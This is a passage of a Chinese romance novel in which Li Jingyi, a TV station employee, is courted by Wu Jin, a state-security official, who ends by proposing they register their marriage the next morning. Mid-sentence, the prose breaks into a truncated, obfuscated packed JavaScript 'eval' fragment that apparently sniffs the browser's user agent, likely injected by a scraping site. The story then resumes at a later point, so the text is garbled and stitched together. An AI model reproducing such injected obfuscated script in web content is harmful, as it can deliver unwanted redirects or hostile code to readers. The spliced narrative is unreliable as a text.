车子先到了李京宜家的楼下,吴尽跟着走下来。李京宜让师傅先别走,又对他说:“真的太晚了,赶紧回去休息吧。” 她没打算让他上去。 这是最后一点骄傲。 吴尽看了她一会儿,抬手碰了一下她的头发,把风吹过来的那一缕发丝拨到耳朵后面,轻轻对她笑了笑,低声说:“我看着你上去。” 他们甚至一个拥抱都没有。 李京宜没再拒绝,与他对视了三秒,点了点头,转身向楼里走去。一直到身影消失,吴尽才收回视线,打开车门上来,狠狠搓了搓脸,疲惫之意尽显。他并没有回家,直接让师傅开车去了柳絮街道。 师傅好奇地问:“这马上就要天亮了,还不回去休息,不会是要去那边买蛋花糕吧?这个点估计已经排起队了。” 吴尽淡淡笑笑:“您好眼力。” “就干这行,看一眼什么都明白了。” 吴尽神色顿了顿:“能抽根烟吗?” 师傅抬了下手。 吴尽点了烟,打开车窗,偏头看向窗外。他想起那年冬天大雪,她在雪地里等了很久,他才从实验室出来,见她手和脸都冻僵了,真想骂她一顿,还是忍着怒意,揉了揉她的头发,将她抱在怀里,低下头想问她暖和点了吗,却看到她正嬉皮笑脸抬头。 吴尽捏着她的下巴:“看什么呢?” 她无声一笑,把脸埋在他怀里。 5. 第 5 章(番外) 1 。 李京宜早上刚到电视台,就看到桌上放着一份柳絮街的蛋花糕,这是江东五十年的老招牌了,平日里排着队得两三个小时才吃得上。她不用想就知道是他做的事儿,坐在那儿发了半天的呆。 今天有节目要上,她很快便忙起来了。 这一忙就是整整一天,等到节目顺利上线,大家才松了一口气。她这才抽出空来,走到一边去喝水,手机忽然响了起来。 她犹豫了片刻,接起。 那边的男人声音里带着轻笑:“还在办公室加班?” 李京宜淡淡嗯了一声,看了一眼编导那边的情况,压低着声音说:“可能还得忙一会儿,你有事吗?” 他语气轻松平常:“没什么事儿,就是想请你吃个饭,现在要是不方便的话,我晚一点再打过来。” 李京宜沉默半天:“我们台里晚上有聚餐。” “去哪儿聚餐?我这边也有点事儿要忙,等你吃完给我打电话,我过去接你?” 李京宜:“…………” 吴尽这边先道:“就这样吧,挂了。” 这人和当初追她的时候一样强势。 2 。 晚上节目上线顺利,大家忙了这么久,终于松了一口气,等到下了班,一起去酒店聚餐,这也是台里这么多年的传统。李京宜晚上被灌了点酒,有些头晕。 丽丽打了电话过来,她顺便借口出去醒酒,听见丽丽旁敲侧击地问:“昨晚后来没什么事儿吧?” 京宜站在二楼大厅的落地窗前,目光定了很久,没有说太多:“大概以后很难再聚一块了。” 丽丽对这事儿倒是看得开,还安慰她:“那就不聚了呗,合得来就聊聊,合不来就散伙,朋友就是一路走一路丢,等到年纪大了,可能和你唠嗑的就是你们小区门口下象棋的大爷大妈。” 京宜忍不住笑了笑。 她们又说了会儿话,京宜回了包房。几个同事起哄让编导唱歌,编导一个女孩子,丝毫不怯场,上来就是一嗓子:“大河向东流啊,天上的星星参北斗啊。” 至此男同事不敢再造次。 一行人吃完饭已经是十一点了,从包房出来一起往外走,下了电梯就到一楼大厅,一群男人先走了出去,京宜走在后面,在和编导说新的节目构思。 听到一声低沉的男声:“李京宜?” 她愣了一下,转过头去,看见吴尽从沙发上站了起来。他穿的有些严肃,西装笔挺,高大挺拔,又一脸正派,目光落在她身侧,顿了一下,很快朝她走过来。 编导反应很快:“介绍一下?” 李京宜压下心里的颤动,还没有开口,吴尽已经走近,他熟稔地俯身,拿过京宜的包,对编导微微颔首,略带平静地一笑:“我有看你们的节目,京京说这次可以顺利播出,编导功不可没,谢谢你照顾她。” 京宜一脸狐疑地看着他瞎编。 编导却听得乐了,碰了李京宜一下:“哎呀没有没有,京宜认真负责,做的比我好,你太客气了。” 他们正在寒暄,前边一个男同事闻声回头,看了吴尽半晌,有些诧异地走过来:“您是国安的吴副科长吧?” 京宜回看过去,前面几个同事也停了下来。吴尽似乎也没有想到会有人认识他,目光一顿,不紧不慢地笑了笑,伸出手与对方轻轻一握:“吴尽。” “上个月去局里办事,听说有个年轻的副科长现在管基建,刚好有个节目要出一期相关内容,不知道有没有时间聊聊?” 吴尽还是那个笑意,只是声音淡了一些:“这种事情要和局里公关部门联系,只要他们同意了,我没有意见。” “好好好,程序我明白。”同事瞥了李京宜一眼,笑着说,“京宜,没事儿多带家属过来转转啊,大家一起吃饭。”说着叫了编导一声,“小林,你坐我们车走,那你们聊啊,不打扰了。” 等一群人散去,四周终于安静了。 李京宜也不说话,就这么看着吴尽,他眼睛里含着笑意,故作淡定地问她:“送你回去?” 3 。 从酒店出来,吴尽去拿车。 再次坐在他的车里,李京宜还是有点紧张,原来有些醉意的神经,此刻也都清醒了,认真端坐,也不多言。 吴尽启动车子,调转方向盘,从酒店的小道开了出去,偏头瞧了她一眼,才出声问:“今晚喝酒了?” 李京宜点头:“喝了一点。” 她说完看向窗外。 吴尽的手机这时候响了,他正专心开车,扫了一眼来电显示,把手机丢给京宜:“老陈电话,你帮我接。” 李京宜像是摸着烫手山芋,硬着头皮按了接听。 吴尽接着又说:“打开外放。” 李京宜听他的话照做,把手机拿向他身边举着,很快老陈的声音传了过来:“干吗呢一会儿出来喝酒?” 吴尽轻轻侧头,嘴角淡淡一点笑意:“今晚不行,哥们有点事。” 老陈那边听着像是忘了正经事,直接聊了起来:“昨天我刚到家,就接到周扬电话,问怎么不叫他,我说谁敢耽搁你洞房花烛呢,他说累的什么心思都没了。你说这小子啊,真有意思,这结了婚还和同居的时候一样,一个厅长一个所长。” 李京宜酒意又上来了,嗓子也有些发痒,忍不住轻轻咳了一声,这下把老陈惊着了,声线都低了:“你车里有人?” 吴尽笑了一声:“嗯。” “我这说了半天你都不提个醒,得了,改天再出来喝酒。”老陈赶紧说道,“不准再放我鸽子啊。” 电话挂断之后,京宜的手腕已经有些累了。她把手机放在旁边,轻轻揉了揉,有点尴尬,不敢去看他。 吴尽把车速放慢了,打开音响,电台的声音缓缓流淌出来,他说话也低沉了:“要是累了就睡一会儿,到了我叫你。” 李京宜摇了摇头,她并不是很困,想起了刚才老陈的话,问:“周扬不是在区招生办吗,这么快就做厅长了?” 吴尽听着沉沉笑了出来,语气比之前都轻松了:“老陈的意思是他们夫妻比较注重个人空间,一个客厅厅长,一个厕所所长。” 李京宜:“…………” 吴尽偏头看她,只见京宜一脸的认真和吃惊,他不禁又笑了一声,大概是此刻空气中的氛围太好,他定定看了她几 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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吴尽静静凝视了她半晌,忽然咧嘴一笑,说了句风马牛不相及的话:“我今天把户口本带过来了。” 呃…………所以?! 吴尽仔细研究着她的表情,还是一脸疑惑,他笑着低声说:“我记得民政局八点半开门,明天我们早点过去排队,把证领了我再上飞机,只是不能陪你吃早饭了。” 他的语气普通平常,眼神却认真严肃。 李京宜已经吃惊地说不出话来,她看着他,看了很久。吴尽被她看得有些紧张慌乱,皱了皱眉:“要不是当年你骗我去念书,我们现在已经结婚了,李京宜我告诉你,你已经耽误我很久了,今天要是拒绝— —” “怎么样?” 吴尽眼角一沉:“我有的是办法治你。” 李京宜抿了抿嘴。 吴尽被她看得不自在,转过脸去,静了一会儿,抬眼看她,李京宜还是沉默着,他这下确实有点慌了:“要是不好的话就别说了,我不想听。” 京宜从餐桌站起来,淡淡道:“今天你洗碗。” 吴尽:“………………” 就这么领证了。